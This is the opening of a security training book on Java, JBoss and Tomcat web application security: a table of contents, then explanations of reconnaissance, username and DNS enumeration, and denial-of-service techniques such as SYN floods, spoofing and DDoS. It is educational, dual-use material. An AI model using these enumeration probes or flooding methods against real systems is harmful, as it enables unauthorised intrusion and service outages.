246
Java, JBoss, Tomcat & Web Application Security Defensia 2011 Rafel Ivgi This book introduces the world of hacking and involves the reader with the current players, the rules of the game, motivation and new trends.

Java secure development part 1

Embed Size (px)

Citation preview

Page 1: Java secure development   part 1

Java,JBoss, Tomcat &Web ApplicationSecurity

D e f e n s i a

2 0 1 1

Rafel IvgiThis book introduces the world of hacking and involvesthe reader with the current players, the rules of thegame, motivation and new trends.

Page 2: Java secure development   part 1

1 | P a g e

TABLE OF CONTENTSIntroduction to Web Application Security..................................................................................... 15

Foot-printing visiting Reconnaissance....................................................................................... 15

Foot-Printing each Service Server Software Name and Version ........................................... 15

Enumeration Overview of System Hacking Cycle...................................................................... 19

Enumerating the allowed HTTP Methods on a Web Server:................................................. 19

Enumerating Usernames Using Google..................................................................................... 20

Exposed Configuration Files .................................................................................................. 20

Private User Directories............................................................................................................. 21

Apache User Enumeration..................................................................................................... 21

WordPress Authors Template User Enumeration Vulnerability ........................................... 22

DNS Enumeration ...................................................................................................................... 24

Dictionary Based DNS Enumeration ...................................................................................... 24

Brute Forcing DNS Sub-Domains ............................................................................................... 25

Denial-of-Service Real World Scenario of D.o.S Attacks ........................................................... 26

Ping of Death ......................................................................................................................... 26

Permanent denial-of-service attacks – PDOS........................................................................ 26

IP Spoofing................................................................................................................................. 27

Land Attack................................................................................................................................ 27

SYN Flood............................................................................................................................... 28

SYN Flood + IP Spoofing......................................................................................................... 30

Reflected attack: Source IP Spoofing + SYN Sent ...................................................................... 31

Distributed attack – DDOS..................................................................................................... 32

Amplification/Smurf attack ................................................................................................... 34

Session Hi-Jacking - What is Session Hi-Jacking?....................................................................... 36

Hacking Web Servers How Web Servers Work ......................................................................... 42

Components of a generic web application system ............................................................... 42

URL mappings to the web application system .......................................................................... 43

Flowchart for a one-way web hack ....................................................................................... 44

Finding the entry point.......................................................................................................... 45

Page 3: Java secure development   part 1

2 | P a g e

Exploiting URL parsing ........................................................................................................... 46

Exploiting poorly validated input parameters....................................................................... 46

Exploiting SQL injection......................................................................................................... 46

Automating the POST process............................................................................................... 48

Web based command prompt............................................................................................... 49

File uploader.......................................................................................................................... 52

One-Way Privilege Escalation................................................................................................ 54

Web Application Vulnerabilities Web Application Setup.......................................................... 55

XSS – Cross-Site-Scripting ...................................................................................................... 55

Automated exploiting bots.................................................................................................... 59

Cross Site Request Forgery (CSRF/XSRF/Session Riding)....................................................... 60

Open/Un-Validated Site Redirection / Cross Domain Redirect............................................. 63

SQL-injection - What is SQL Injection? ...................................................................................... 67

Introduction........................................................................................................................... 67

SQL injection Prevention ....................................................................................................... 72

Web-Based Password Cracking Techniques Authentication – Definition ................................ 74

Linux Hacking - Why Linux? ....................................................................................................... 81

Linux/Apache privilege escalation......................................................................................... 81

Uploading the UNIX attack tools ........................................................................................... 81

ptrace1.c................................................................................................................................ 81

Buffer Overflows Why is Programs/Applications Vulnerable?.................................................. 88

Verify the bug ........................................................................................................................ 88

Process Memory.................................................................................................................... 90

The Stack ............................................................................................................................... 92

The debugger....................................................................................................................... 101

Determining the buffer size to write exactly into EIP ......................................................... 105

Find memory space to host the shellcode .......................................................................... 109

Jump to the shellcode in a reliable way .............................................................................. 112

Get shellcode and finalize the exploit ................................................................................. 118

What if you want to do something else than launching calc? ............................................ 120

Page 4: Java secure development   part 1

3 | P a g e

Heap Overflows ................................................................................................................... 124

Exploiting Heap Overflows .................................................................................................. 126

Off-By-One........................................................................................................................... 130

Signed vs. Un-Signed ........................................................................................................... 130

Memory Protection Mechanisms........................................................................................ 131

SafeSEH................................................................................................................................ 132

Address Space Layout Randomization (ASLR) ..................................................................... 133

NX (No eXecute – Hardware DEP) ....................................................................................... 134

Basic Intoduction To Cryptography ......................................................................................... 138

Hash..................................................................................................................................... 138

MD5 HASH “Reverse” .......................................................................................................... 139

Rainbow Tables.................................................................................................................... 140

SSL........................................................................................................................................ 141

Java Language Security and Bytecode Verification ..................................................................... 143

Acceptance-test driven development for web applications ....................................................... 160

ATDD is a simple process change that can have far-reaching implications for yourdevelopment projects. ............................................................................................................ 160

From acceptance tests to ATDD .............................................................................................. 161

ATDD in practice ...................................................................................................................... 161

Automating your acceptance tests...................................................................................... 162

ATDD tools........................................................................................................................... 163

Automating acceptance tests for web applications ................................................................ 164

In conclusion............................................................................................................................ 165

Java 7: What's in it for developers .......................................................................................... 166

After a long wait and a rough start, Java 7 brings a multitude of improvements fordevelopers. .......................................................................................................................... 166

Crash exploit – floating point conversion............................................................................ 167

Escaping the Java Sandbox – Was it ever done?..................................................................... 172

Avoiding NoSQL-injection with MongoDB........................................................................... 172

Secure APIs .......................................................................................................................... 172

Insecure APIs ....................................................................................................................... 173

Page 5: Java secure development   part 1

4 | P a g e

How to encode a URL string or form parameter in java ............................................................. 174

How to use URLEncoder to encode a string and URLDecoder to decode the encoded string............................................................................................................................................. 175

Result ................................................................................................................................... 175

Security code Scanning................................................................................................................ 193

Objectives ................................................................................................................................ 193

Industry Application Security Offerings................................................................................... 193

Automated vs. Manual: Advantages ....................................................................................... 193

What Automated Solutions Miss............................................................................................. 194

Conducting the Assessment .................................................................................................... 194

Commercial Dynamic Scanning Tools...................................................................................... 195

Open Source and Low Cost Scanners ...................................................................................... 195

Code Scanning Tools................................................................................................................ 196

Client Side Web Proxies........................................................................................................... 196

Paros Proxy.............................................................................................................................. 197

W3af - Web application attack and audit framework............................................................. 199

IBM Rational App Scan ............................................................................................................ 204

HP Web Inspect ....................................................................................................................... 210

Summary.................................................................................................................................. 215

Enterprise Code Vulnerability Management........................................................................... 233

Cigital’s Enterprise Security Portal (ESP) ............................................................................. 233

Features and Benefits:............................................................................................................. 234

Submissions Portal .............................................................................................................. 234

Analysis – Getting Deeper Results....................................................................................... 234

Reporting ............................................................................................................................. 235

Web Application .......................................................................................................................... 236

Gartnet Magic Quadrant ......................................................................................................... 236

WASC Web App Security Statistics .......................................................................................... 241

Summary.............................................................................................................................. 241

Data analysis........................................................................................................................ 242

Page 6: Java secure development   part 1

5 | P a g e

Data analysis according to PCI DSS requirements....................................................................... 251

APPENDIX 1: RISK ASSESSMENT METHODOLOGY....................................................................... 256

APPENDIX 2: ADDITIONAL VULNERABILITY CLASSIFICATION...................................................... 258

APPENDIX 3: STATISTICS.............................................................................................................. 259

Overall Data............................................................................................................................. 259

Automatic scans ...................................................................................................................... 262

Black Box.................................................................................................................................. 264

White Box ................................................................................................................................ 266

OWASP Application Security Verification Standard (ASVS)......................................................... 269

Types of security verification .................................................................................................. 269

ASVS......................................................................................................................................... 269

ASVS Detailed requirements ................................................................................................... 270

ASVS Verification Requirements Matrix.................................................................................. 271

Quasi-scientific quantitative matrix analysis........................................................................... 272

Examples of what requirements CAN be verified by automatic code scan ............................ 272

Examples of what requirements CANNOT be verified using automated code scan ............... 272

Problems in automatic source code scan................................................................................ 273

Mixing automation and manual work ..................................................................................... 273

From manual review to automation ....................................................................................... 274

Conclusion ............................................................................................................................... 274

Using Automatic Tools to Discover Java Security & Reliability Vulnerabilities ....................... 275

Fortify 360: .......................................................................................................................... 275

Another Example: ................................................................................................................ 277

Weak XML Schema: Type Any ............................................................................................. 281

Weak XML Schema: Lax Processing..................................................................................... 283

Passwords stored in clear text/base64 in code:.................................................................. 285

Unreleased Resource Streams............................................................................................. 286

Null Dereference ................................................................................................................. 289

Path Manipulation............................................................................................................... 291

Log Forging .......................................................................................................................... 294

Page 7: Java secure development   part 1

6 | P a g e

Command Injection ............................................................................................................. 297

Often Misused: Authentication ........................................................................................... 299

Unreleased Resource: Database ......................................................................................... 301

Denial Of Service ................................................................................................................. 304

Password Management: Hardcoded Password................................................................... 307

SQL Injection: iBatis Data Map ............................................................................................ 309

Common Java Code Security Pitfalls ....................................................................................... 311

OWASP ESASPI 2...................................................................................................................... 318

ESAPI 2.0.1 API............................................................................................................................. 318

Java & OpenSSO ...................................................................................................................... 321

Importing the Root CA Certificate for Secure OpenSSO Rainbow Connections ................. 321

RedHat Security JBoss Software & Platform Provider............................................................. 322

JBOSS Security ............................................................................................................................. 335

What is JBoss ........................................................................................................................... 335

J2EE Security Configuration and Architecture......................................................................... 335

8.1. J2EE Declarative Security Overview ................................................................................. 336

8.1.1. Security References ................................................................................................... 339

8.1.2. Security Identity ........................................................................................................ 340

8.1.3. Security roles ............................................................................................................. 341

8.2. An Introduction to JAAS................................................................................................ 347

The JBoss Security Model .................................................................................................... 354

8.5. The Secure Remote Password (SRP) Protocol .................................................................. 407

Secure JMX Console (Authentication Only)......................................................................... 436

Secure JMX Console (Access Control) ................................................................................. 438

Secure the JMX Invokers (Authentication Only).................................................................. 439

Secure the JMX Invokers (Authorization/Access Control)................................................... 440

4.2.1. Modifications Required (Use Case 1) ........................................................................ 440

................................................................................................... 441

Integrate security infrastructures with JBossSX ...................................................................... 442

JBossSX uses JAAS to integrate application servers and security infrastructures............... 442

Page 8: Java secure development   part 1

7 | P a g e

J2EE declarative security overview.............................................................................................. 443

Enterprise beans security references .................................................................................. 445

Web application security constraints...................................................................................... 448

Specify the security domain in JBoss........................................................................................... 449

What is JAAS? .......................................................................................................................... 452

The JAAS Core Classes ......................................................................................................... 452

Subject and Principal ........................................................................................................... 452

Authentication classes......................................................................................................... 453

Inside the JBossSX JaasSecurityManager ................................................................................ 456

The JAAS in JaasSecurityManager ........................................................................................... 458

The security check ............................................................................................................... 458

JBossSX custom login modules................................................................................................ 460

JBossSX Subject usage patterns........................................................................................... 461

Support for the Subject usage pattern................................................................................ 461

Write a custom login module .............................................................................................. 464

An example.......................................................................................................................... 465

The tutorial1.ear contents................................................................................................... 470

Test the tutorial1.ear deployment from Java Client ........................................................... 483

example1-test0.................................................................................................................... 484

Exploring.............................................................................................................................. 486

Secure your J2EE apps ............................................................................................................. 487

Removing the Invokers............................................................................................................ 488

HTTP Invokers...................................................................................................................... 488

HTTPInvoker for JNDI, EJB and JMX..................................................................................... 489

HTTPInvoker for JMS ........................................................................................................... 489

Other invokers ..................................................................................................................... 489

SecureTheInvokers .................................................................................................................. 489

Enabling authentication to the RMIAdaptor service........................................................... 489

Enabling authorization to the RMIAdaptor service................................................................. 490

The RMI Class Loading Service ................................................................................................ 491

Page 9: Java secure development   part 1

8 | P a g e

Securing the RMI Dynamic ClassLoading Service ................................................................ 492

Removing the RMI Dynamic ClassLoading Service .............................................................. 493

Secure Using a Tomcat (or another webserver) for dynamic classloading ......................... 493

JBossMQ Security Configuration ............................................................................................. 493

Identify a security domain................................................................................................... 493

Configure MDB:s to use security ......................................................................................... 494

Use authenticated connections in client code .................................................................... 495

Configure security on the topics and queues...................................................................... 495

Disable Security ................................................................................................................... 495

Removing HSQLDB................................................................................................................... 496

JBoss 3.2 and 4.0.x............................................................................................................... 496

JBoss AS 5.x.x....................................................................................................................... 497

Configuring JBoss for use Behind a Firewall ........................................................................ 497

One possible configuration for RMI through a firewall....................................................... 499

PooledInvoker...................................................................................................................... 500

Using mod_proxy with JBoss bundle and Apache2.2.x ....................................................... 502

When to use mod_jk and when to use mod_proxy for load-balancing ............................................. 504

When to use mod_proxy + mod_proxy_http and mod_proxy + mod_proxy_ajp for load-balancing.... 505

Using sticky sessions:................................................................................................................... 505

Going over the 8K AJP headers limits: ........................................................................................... 505

Set Up A Keystore................................................................................................................ 506

SSLSetup .............................................................................................................................. 506

Using a trusted certificate obtained from a well known CA ............................................... 508

Authentication scenarios............................................................................................................. 509

Setup..................................................................................................................................... 509

Use Cases .............................................................................................................................. 509

1 - SSL enabled on the server - the common case....................................................................... 509

4 - SSL enabled on the server with an openssl CA issued client cert - aka mutual authentication with CAissued client cert..................................................................................................................... 515

Another (untested) keystore/openssl recipe:................................................................................. 517

Page 10: Java secure development   part 1

9 | P a g e

Limiting client access using Tomcat (Engine, Host, or Context level) ................................. 520

Limiting client access using a servlet filter (Servlet or url-pattern level).......................................... 521

ConfiguringAJavaSecurityManager............................................................................................... 522

How to Run JBoss with a Java Security Manager ............................................................................ 522

SetUpAMysqlDatasource ............................................................................................................ 523

Setting up a MySQL datasource.................................................................................................... 524

Download the driver............................................................................................................... 524

Configure the datasource ........................................................................................................ 524

JBossMQ ............................................................................................................................... 525

Troubleshooting..................................................................................................................... 525

Examples............................................................................................................................... 525

jGuard ...................................................................................................................................... 526

jBoss......................................................................................................................................... 527

DWR.............................................................................................................................................. 528

securing DWR with jGuard................................................................................................................. 529

install DWR in the webapp ...................................................................................................... 529

DWR.xml.................................................................................................................................. 529

DWR1Permission : a dedicated Permission............................................................................. 529

DWR1AccessControl................................................................................................................ 530

what's about jGuard and DWR interactions?.......................................................................... 530

Chapter 3. security architecture.............................................................................................. 531

3.1. securing an application..................................................................................................... 531

3.1.1. java security architecture .......................................................................................... 531

Note..................................................................................................................................... 532

Caution ................................................................................................................................ 533

3.2. Which jGuard security scopes? ........................................................................................ 533

3.2.1. jGuard and jee users.................................................................................................. 533

3.2.2. security scopes .......................................................................................................... 533

3.3. debugging ......................................................................................................................... 534

3.4. configuration files............................................................................................................. 535

Page 11: Java secure development   part 1

10 | P a g e

3.4.1. configuration files used in every context (standalone and web applications).......... 535

Chapter 4. java authentication................................................................................................ 538

4.1. Overall Authentication part.............................................................................................. 538

4.2. AuthenticationManager ................................................................................................... 539

4.2.1. description................................................................................................................. 539

4.2.2. configuration ............................................................................................................. 539

4.2.3. implementations ....................................................................................................... 540

4.3. JAAS Authentication process............................................................................................ 542

4.3.1. javax.security.auth.login.LoginContext ..................................................................... 542

4.3.2. javax.security.auth.callback.CallbackHandler ........................................................... 542

4.3.3. loginModules............................................................................................................. 543

4.3.4. javax.security.auth.login.Configuration .................................................................... 558

4.3.5. javax.security.auth.Subject ....................................................................................... 558

User Security and Access Control in JBoss portals .................................................................. 558

Authentication......................................................................................................................... 559

Authorization........................................................................................................................... 560

User and role management......................................................................................................... 560

The portal permission.................................................................................................................. 562

The authorization provider.......................................................................................................... 562

Making a programmatic security check ...................................................................................... 563

Configuring an authorization domain ......................................................................................... 564

LDAP configuration.................................................................................................................. 565

Single sign-on........................................................................................................................... 567

Implementing security improvements in the JBossAS ............................................................ 571

JMX Console ........................................................................................................................ 571

Enabling JMX Console security in JBoss 5.0 and previous versions .................................... 572

Enabling the JMX Invokers security in all JBoss versions .................................................... 573

Enabling the JMX Console security in JBoss 6.0 .................................................................. 573

Securing the server for production environments.................................................................. 574

Securing the JBPM Console ................................................................................................. 574

Page 12: Java secure development   part 1

11 | P a g e

Securing Web Services in JBoss Application Server with WS-Security.................................... 575

Encrypting web messages ................................................................................................... 577

Generating the certificate ................................................................................................... 578

Securing the server using WS-Security................................................................................ 580

Securing the client using WS-Security ................................................................................. 583

Summary.............................................................................................................................. 588

JAAS – Authentication with JBOSS, FORM-BASED................................................................... 588

Java Authentication and Authorization Service, Form based Authentication .................... 588

Authentication using JAAS....................................................................................................... 597

What is JAAS? ...................................................................................................................... 597

Classes and interfaces ......................................................................................................... 598

Administration..................................................................................................................... 599

Application interface ........................................................................................................... 599

Security system integration................................................................................................. 599

What are authentication and authorization?...................................................................... 600

The process of authentication............................................................................................. 600

JAAS configuration in detail................................................................................................. 601

Authentication with a SecurityManager ............................................................................. 604

EncryptingDataSourcePasswords................................................................................................ 605

A simple login module for encrypting a datasource password ......................................................... 605

JBoss AS 3.2.x....................................................................................................................... 606

JBoss AS 4.0.x or 4.2.x.......................................................................................................... 606

JBoss AS 5.1.x....................................................................................................................... 606

A KeyStore based login module for encrypting a datasource password............................. 608

org.jboss.mq.security.SecurityManager.............................................................................. 612

Security (http://wiki.apache.org/tapestry/Tapestry5HowTos) .............................................. 618

Authentication and Authorization related .......................................................................... 618

Integrity ............................................................................................................................... 618

Server Hardening – Implementation Guide (Apache Proxy, Apache Tomcat, Oracle, CentOS).. 620

Add YUM RPM Repositories .................................................................................................... 622

Page 13: Java secure development   part 1

12 | P a g e

Add RPMForge..................................................................................................................... 622

Add EPEL.............................................................................................................................. 622

Update the Machine................................................................................................................ 622

Apache Hardening ................................................................................................................... 623

Apache SSL Hardening:........................................................................................................ 623

Mod_Evasive – Anti-D.O.S Apache Module ........................................................................ 624

Mod_Security – An OpenSource Web Application Firewall ................................................ 625

1.1 Disabling Dangerous HTTP Verbs .................................................................................. 628

1.1.1. Disable TRACE Method........................................................................................ 628

1.1.2. Rewrite Against TRACE/TRACK ............................................................................ 628

1.1.3. Rewrite Get, Head & Post as a Whitelist ............................................................. 629

1.2. Define Server Hostname ............................................................................................. 629

1.3. Mail Username root exposes Linux Usage .................................................................. 629

1.4. Remove Script Aliases for unused directories (such as cgi-bin…) ............................... 629

2. Operating System (CentOS 5.5) Hardening: ........................................................................ 632

2.1. Remove unrequired packages ..................................................................................... 632

2.2. Remove system messages/banners ............................................................................ 632

2.3. Harden SSH.................................................................................................................. 633

2.3.1. Upgrading SSH (from default 3.4 to stable 5.8p2) .............................................. 633

2.3.2. Harden Server Configuration............................................................................... 634

2.3.3. Harden the SSH Client ......................................................................................... 635

2.4. Disable IPv6 ................................................................................................................. 635

2.5. Disable unused/unrequired services........................................................................... 635

2.6. Add Scary banner message.......................................................................................... 637

2.7. TCP/IP Hardening ........................................................................................................ 637

2.8. IPTables ....................................................................................................................... 637

3. Apache Tomcat 6.0 Hardening: ........................................................................................... 639

3.1. Tomcat Session ID default name modification:........................................................... 639

3.2. Tomcat session HTTPOnly flag: ................................................................................... 639

3.3. Tomcat – Change Server Banner: ................................................................................ 639

Page 14: Java secure development   part 1

13 | P a g e

3.4. Tomcat – Change Tomcat Port to Listen Only Internally:............................................ 640

3.5. Tomcat – Disable The HTTP Verb Trace: ..................................................................... 640

3.6. Tomcat – Define an index page: .................................................................................. 641

3.7. Tomcat – One single custom error page for all errors: ............................................... 641

3.8. Tomcat – Remove Tomcat Example Scripts: ............................................................... 644

3.9. Tomcat – Remove Tomcat Manager application: ....................................................... 644

4. SELinux – Optional Hardening: ............................................................................................ 645

4.1. SELinux Apache Hardening .......................................................................................... 645

4.2. SELinux for other services (Experts Only).................................................................... 645

4.2.1. Enable Hardened HTTP........................................................................................ 645

4.2.2. Disable FTP .......................................................................................................... 646

4.2.3. Disable NIS Clients ............................................................................................... 646

Apache and Tomcat Security................................................................................................... 646

Policy File Format ................................................................................................................ 649

The Default Policy File ......................................................................................................... 649

Starting Tomcat With A SecurityManager........................................................................... 654

The Default Properties File.................................................................................................. 654

Apache tomcat Website Code Examples – What NOT TO DO ................................................ 664

1. Create/edit the XML file .................................................................................................. 664

2. Code Your Application's Use Of This Resource................................................................ 664

3. Code Your Application's Use Of This Resource................................................................ 665

Java Based SQL Servers: .......................................................................................................... 665

HSQLDB - 100% Java Database http://hsqldb.org/ ............................................................. 665

Connecting Apache to MySQL in SSL....................................................................................... 667

Generating an internal SSL Certificate (for tomcat) ................................................................ 667

Create the self-signed keystore........................................................................................... 667

Turn the keystore into a X.509 certificate........................................................................... 667

Delete existing trusted certificate ....................................................................................... 667

Import the certificate into cacerts – JRE trusted certificates.............................................. 667

Fixing Tomcat’s binding problems....................................................................................... 668

Page 15: Java secure development   part 1

14 | P a g e

Using an SSL enforcing Connection string ........................................................................... 668

How to configure MySQL DataSource in Tomcat 6 ................................................................. 669

Creating a JDBC by code: ..................................................................................................... 671

package jdbctest;................................................................................................................. 671

Alternatives to JDBC .................................................................................................................... 672

HA-JDBC: High-Availability JDBC.............................................................................................. 672

Overview.................................................................................................................................. 672

Features................................................................................................................................... 672

Dependent Libraries ................................................................................................................ 672

Related Software ..................................................................................................................... 672

I need to pass additional parameters to my JDBC driver. How can I specify these in my HA-JDBC configuration? ............................................................................................................ 673

How does HA-JDBC compare to Sequoia?........................................................................... 673

Tomcat Security........................................................................................................................... 676

Apache Tomcat 7 ..................................................................................................................... 699

More on Cat's Configuration ............................................................................................ 699

Deploying Your Web Application in Tomcat ............................................................. 699

Tomcat's Manager........................................................................................................... 702

Tomcat with SSL .............................................................................................................. 702

User Authentication in Tomcat.................................................................................... 703

Database Connection Pool (for MySQL) .................................................................... 709

Installing SSL Support & Certificate on Apache Tomcat.......................................................... 713

Configure Tomcat's Resource Factory................................................................................. 725

Assiting software from the Linux world ...................................................................................... 735

Authbind.................................................................................................................................. 735

FreeBSD jail.............................................................................................................................. 735

Goals .................................................................................................................................... 736

Page 16: Java secure development   part 1

15 | P a g e

Introduction to Web Application Security

Foot-printing visiting Reconnaissance

Reconnaissance is the step where the attacker attempts to retrieve as much information aspossible on the target. Reconnaissance is truly an art and is one of the most important stages ofthe attack process. It is the eyes of the hacker on the hacking court and without it he mustattack blindly, minimizing the odds of success to its minimum.

Foot-Printing each Service Server Software Name and Version

Foot-Printing HTTP ServersGetting the server type and disclosing internal information such as the local machine’s internal name, internal IP, usage of a proxy ora reverse proxy and etc…

The following error page reveals that the server is Apache Tomcat, the Machine’s internal name and that the error source was theproxy component:

The following reveals the server’s type and its exact version:

Page 17: Java secure development   part 1

16 | P a g e

It is possible to change the values of the request parameters, retrieve application errors anddetermine the operating system and the local path of the website root folder:

It is possible to identify the server type, the development platform, and installed plugins byinspecting the returned HTTP headers and the supported HTTP Methods.

Page 18: Java secure development   part 1

17 | P a g e

Page 19: Java secure development   part 1

18 | P a g e

Page 20: Java secure development   part 1

19 | P a g e

Enumeration Overview of System Hacking Cycle

Enumerating the allowed HTTP Methods on a Web Server:

Page 21: Java secure development   part 1

20 | P a g e

Enumerating Usernames Using Google

Exposed Configuration Files

Page 22: Java secure development   part 1

21 | P a g e

Private User Directories

Apache User Enumerationhttp://www.example.com/~<username>

When a remote user makes a request for a possible user's default home page, theserver returns one of three responses:

In a case where username is a valid user account, and has been configured with ahomepage, the server responds with the user's homepage.

When username exists on the system, but has not been assigned a homepagedocument, the server returns the message "You don't have permission to access/~username on this server."

If the tested username does not exist as an account on the system, the Apacheserver's response includes the message "The requested URL /~username was notfound on this server." or refers to the default error page configured for this error.

For Example:

Page 23: Java secure development   part 1

22 | P a g e

When the user doesn’t exit, it redirects to the website main page:

WordPress Authors Template User Enumeration Vulnerability

There are other places where you might be able to find some usernames. A goodexample is WordPress author templates which allow you to extract usernames throughURLs with the following syntax: /wordpress/author/authorname/

i.e.:

http://www.target-domain.com/wordpress/author/admin/http://www.target-domain.com/wordpress/author/root/

A case when the user doesn’t exist:

Page 24: Java secure development   part 1

23 | P a g e

A case when the user exists:

Page 25: Java secure development   part 1

24 | P a g e

DNS Enumeration

A penetration test project beings in collecting information and mapping all the remotelyaccessible organization’s servers. The Domain Name Server can be used to extract someof the existing subdomains and discover more IPs, with different server types, from WebServers to Firewalls, VPNs and Citrix Servers.

The DNS sub domains can be enumerated by using a dictionary of common sub domainnames such as “mail”, “webmail”, “vpn”, “backoffice”, “fw” and etc…

In order to find customized sub domain names, an attacker must run a full remote bruteforce attack and is likely to disclose all subdomains names from 1 to 8 characters lengthwith letters and numbers. Since the DNS protocols is UDP based, the brute force attackfaster than most other network brute force attack.

Dictionary Based DNS Enumeration

Page 26: Java secure development   part 1

25 | P a g e

Brute Forcing DNS Sub-Domains

Page 27: Java secure development   part 1

26 | P a g e

Denial-of-Service Real World Scenario of D.o.S Attacks

Ping of Death

A ping of death (abbreviated "POD") is a type of attack on a computer that involves sending amalformed or otherwise malicious ping to a computer. A ping is normally 32bytes in size (or 84bytes when IP header is considered); historically, many computer systems could not handle aping packet larger than the maximum IPv4 packet size, which is 65,535 bytes. Sending a ping ofthis size could crash the target computer.

In early implementations of TCP/IP, this bug was easy to exploit. This exploit has affected a widevariety of systems, including UNIX, Linux, Mac, Windows, printers, and routers. However, mostsystems since 1997-1998 have been fixed, so this bug is mostly historical.

Generally, sending a 65,536 byte ping packet is illegal according to the IP protocol, but a packetof such a size can be sent if it is fragmented; when the target computer reassembles the packet,a buffer overflow can occur, which often causes a system crash.

In recent years, a different kind of ping attack has become widespread - ping flooding simplyfloods the victim with so much ping traffic that normal traffic fails to reach the system (a basicdenial-of-service attack).

Permanent denial-of-service attacks – PDOS

A permanent denial-of-service (PDoS), also known loosely as phlashing, is an attack thatdamages a system so badly that it requires replacement or reinstallation of hardware. Unlike thedistributed denial-of-service attack, a PDoS attack exploits security flaws which allow remoteadministration on the management interfaces of the victim's hardware, such as routers,printers, or other networking hardware. The attacker uses these vulnerabilities to replace adevice's firmware with a modified, corrupt, or defective firmware image—a process which whendone legitimately is known as flashing. This therefore "bricks" the device, rendering it unusablefor its original purpose until it can be repaired or replaced.

The PDoS is a pure hardware targeted attack which can be much faster and requires fewerresources than using a botnet in a DDoS attack. Because of these features, and the potential andhigh probability of security exploits on Network Enabled Embedded Devices (NEEDs), thistechnique has come to the attention of numerous hacker communities. PhlashDance is a toolcreated by Rich Smith (an employee of Hewlett-Packard's Systems Security Lab) used to detectand demonstrate PDoS vulnerabilities at the 2008 EUSecWest Applied Security Conference inLondon.

Page 28: Java secure development   part 1

27 | P a g e

IP Spoofing

Land Attack

The attack involves sending a spoofed TCP SYN packet (connection initiation) with the targethost's IP address and an open port as both source and destination.

The reason a LAND attack works is because it causes the machine to reply to itself continuously.

Definition: "A LAND attack involves IP packets where the source and destination address are setto address the same device."[Citation needed]

Page 29: Java secure development   part 1

28 | P a g e

Other land attacks have since been found in services like SNMP and Windows 88/TCP(Kerberos/global services) which were caused by design flaws where the devices acceptedrequests on the wire appearing to be from them and causing replies repeatedly.

SYN Flood

A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYNrequests to a target's system. Some systems can mis-detect a SYN Flood when being scanned foropen proxies, as commonly done by IRC servers and services. These are not SYN Floods, merelyan automated system designed to check the connecting IP.

When a client attempts to start a TCP connection to a server, the client and server exchange aseries of messages which normally runs like this:

The client requests a connection by sending a SYN (synchronize) message to the server. The server acknowledges this request by sending SYN-ACK back to the client. The client responds with an ACK, and the connection is established. This is called the TCP three-way handshake, and is the foundation for every connection

established using the TCP protocol.

The SYN flood is a well-known type of attack and is generally not effective against modernnetworks. It works if a server allocates resources after receiving a SYN, but before it has receivedthe ACK.

There are two methods, but both involve the server not receiving the ACK. A malicious client canskip sending this last ACK message. Or by spoofing the source IP address in the SYN, it makes theserver send the SYN-ACK to the falsified IP address, and thus never receive the ACK. In bothcases the server will wait for the acknowledgement for some time, as simple networkcongestion could also be the cause of the missing ACK.

If these half-open connections bind resources on the server, it may be possible to take up allthese resources by flooding the server with SYN messages. Once all resources set aside for half-open connections are reserved, no new connections (legitimate or not) can be made, resultingin denial of service. Some systems may malfunction badly or even crash if other operatingsystem functions are starved of resources this way.

The technology often used in 1996 for allocating resources for half open TCP connectionsinvolved a queue which was often very short (e.g., 8 entries long) with each entry of the queuebeing removed upon a completed connection, or upon expiry (e.g., after 3 minutes[2]). Whenthe queue was full, further connections failed. With the examples above, all further connectionswould be prevented for 3 minutes by sending a total of 8 packets. A well-timed 8 packets every

Page 30: Java secure development   part 1

29 | P a g e

3 minutes would prevent all further TCP connections from completing. This allowed for a Denialof Service attack with very minimal traffic.

SYN cookies provide protection against the SYN flood by eliminating the resources allocated onthe target host. Limiting new connections per source per timeframe is not a general solutionsince the attacker can spoof the packets to have multiple sources. Reflector routers can also beused as attackers, instead of client machines.

Normal:

SYN-flood:

Page 31: Java secure development   part 1

30 | P a g e

SYN Flood + IP Spoofing

Page 32: Java secure development   part 1

31 | P a g e

Reflected attack: Source IP Spoofing + SYN Sent

Page 33: Java secure development   part 1

32 | P a g e

Distributed attack – DDOS

A distributed denial of service attack (DDoS) occurs when multiple systems flood the bandwidthor resources of a targeted system, usually one or more web servers. These systems arecompromised by attackers using a variety of methods.

Malware can carry DDoS attack mechanisms; one of the better-known examples of this wasMyDoom. Its D.o.S mechanism was triggered on a specific date and time. This type of DDoSinvolved hardcoding the target IP address prior to release of the malware and no furtherinteraction was necessary to launch the attack.

Page 34: Java secure development   part 1

33 | P a g e

A system may also be compromised with a Trojan, allowing the attacker to download a zombieagent (or the Trojan may contain one). Attackers can also break into systems using automatedtools that exploit flaws in programs that listen for connections from remote hosts. This scenarioprimarily concerns systems acting as servers on the web.

Stacheldraht is a classic example of a DDoS tool. It utilizes a layered structure where the attackeruses a client program to connect to handlers, which are compromised systems that issuecommands to the zombie agents, which in turn facilitate the DDoS attack. Agents arecompromised via the handlers by the attacker, using automated routines to exploitvulnerabilities in programs that accept remote connections running on the targeted remotehosts. Each handler can control up to a thousand agents.

These collections of systems compromisers are known as botnets. DDoS tools like stacheldrahtstill use classic D.o.S attack methods centered on IP spoofing and amplification like smurf attacksand fraggle attacks (these are also known as bandwidth consumption attacks). SYN floods (alsoknown as resource starvation attacks) may also be used. Newer tools can use DNS servers forD.o.S purposes. See next section.

Simple attacks such as SYN floods may appear with a wide range of source IP addresses, givingthe appearance of a well distributed DDoS. These flood attacks do not require completion of theTCP three way handshake and attempt to exhaust the destination SYN queue or the serverbandwidth. Because the source IP addresses can be trivially spoofed, an attack could come froma limited set of sources, or may even originate from a single host. Stack enhancements such asSYN cookies may be effective mitigation against SYN queue flooding, however completebandwidth exhaustion may require involvement

Unlike MyDoom's DDoS mechanism, botnets can be turned against any IP address. Script kiddiesuse them to deny the availability of well-known websites to legitimate users. More sophisticatedattackers use DDoS tools for the purposes of extortion — even against their business rivals.

It is important to note the difference between a DDoS and D.o.S attack. If an attacker mounts anattack from a single host it would be classified as a D.o.S attack. In fact, any attack againstavailability would be classed as a Denial of Service attack. On the other hand, if an attacker usesa thousand systems to simultaneously launch smurf attacks against a remote host, this would beclassified as a DDoS attack.

The major advantages to an attacker of using a distributed denial-of-service attack are thatmultiple machines can generate more attack traffic than one machine, multiple attack machinesare harder to turn off than one attack machine, and that the behavior of each attack machinecan be stealthier, making it harder to track down and shut down. These attacker advantagescause challenges for defense mechanisms. For example, merely purchasing more incoming

Page 35: Java secure development   part 1

34 | P a g e

bandwidth than the current volume of the attack might not help, because the attacker might beable to simply add more attack machines.

